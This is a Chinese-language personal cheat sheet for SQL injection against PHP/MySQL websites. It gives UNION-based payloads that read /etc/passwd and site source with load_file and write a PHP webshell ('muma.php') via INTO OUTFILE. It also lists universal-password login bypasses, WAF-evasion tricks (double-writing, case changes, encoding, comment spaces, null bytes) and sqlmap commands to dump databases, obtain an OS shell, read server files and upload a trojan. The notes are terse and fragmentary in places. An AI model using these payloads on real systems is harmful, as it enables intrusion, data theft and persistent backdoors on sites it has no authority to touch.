$_SERVER['AUTH_TYPE'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型
$_SERVER['HTTP_X_FORWARDED_FOR'] # x-forw
# 查看MySQL全局变量配置
SHOW GLOBAL variables LIKE '%secure%';
'
secure_file_priv 空 任意读写
secure_file_priv 指定目录 仅允许规定路径下读写
secure_file_priv null 禁止读写
'
select load_file("/etc/passwd"); -- 先读取常规文件 确定是否可以读取 ran
?id=-11 union select 1,2,load_file("/opt/lampp/htdocs/php/common.php"),4,5,6 from information_schema. tables#
一般网站都会存在上传文件,所以肯定会开启权限的
?id=-11 union select 1,2,'hello',4,5,6 into outfile "/opt/lampp/htdocs/php/xx"
# 上传小马 P!ST -> POST
?id=-11 union select 1,2,"",4,5,6 into outfile '/opt/lampp/htdocs/php/muma.php'
万能密码
where username='{$username}' and password='{$password}'
-- 万能密码
' or 1 #
" or 1 #
过滤空格
1 'or '1' = '1
1'||'1'='1 # 如果不允许空格 &&表示 and
select username from user
select(username)from(user)
hex转十六进制
select hex('/etc/passwd')
WAF绕过
# 双写绕过
seleselectct
# 大小写绕过
SelecT
# 编码绕过
bases64 ASCII hex
select concat('sele','c',char(123))
# 特殊字符绕过
-- 空格:/**/ %20 %a0 %0d %09 %0c
-- and:&& or:||
-- 内联注释
-- 不允许 union select
-- 00截断 se%00lect
-- 空格被过滤可以使用/**/或者()绕过
-- =号被过滤可以用like来绕过
3:substring与mid被过滤可以用right与left来绕过
可以完成注入点的发现、数据库类型确认、webshell权限和路径的确认、脱库等。测试的payload分为五个等级:level1-level5 payload从少到多 --leval = num 设置level
1、发现诸如点分析
sqlmap -u "URL" --batch # --batch参数一次性运行完 不会中途询问 适合非交互模式
2、查看所有数据库
sqlmap -u "URL" --dbs
3、查看当前使用的数据库
sqlmap -u "URL" --current-db
4、已知数据库,对数据库进行查询
sqlmap -u "URL" --tables -D "current_db"
5、已知表名,对表的列名进行查询
sqlmap -u "URL" --columns -T 'table_name' -D 'current_db'
6、已知列名,对具体值进行查询
sqlmap -u "URL" --dump -C "column_name1,2,..." -T 'table_name' -D 'current_db'
7、直接指定数据库类型,节省检测时间
sqlmap -u "URL" --dbs=mysql
8、判断是否为DBA
sqlmap -u URL --dbms=mysql --is-dba
9、请求是POST请求 需要cookie
burp捕捉post请求,将请求保存到文件 post.txt -p 指定注入的参数名 不指定对所有参数进行尝试注入
sqlmap -r ./post.txt -p id --cookie="xxx" --dbs --batch
整个过程分为三个部分
sqlmap -u URL --dbms=mysql --os-shell
手工写入文件
# 读取服务器上的文件
sqlmap -u URL --dbms=mysql --file-read "/etc/passwd"
# 不能自动注入木马 手动注入
sqlmap -u URL --dbms=mysql --file-write "/opt/mm.php" --file-dest '/opt/lampp/htdocs/php/mm.php'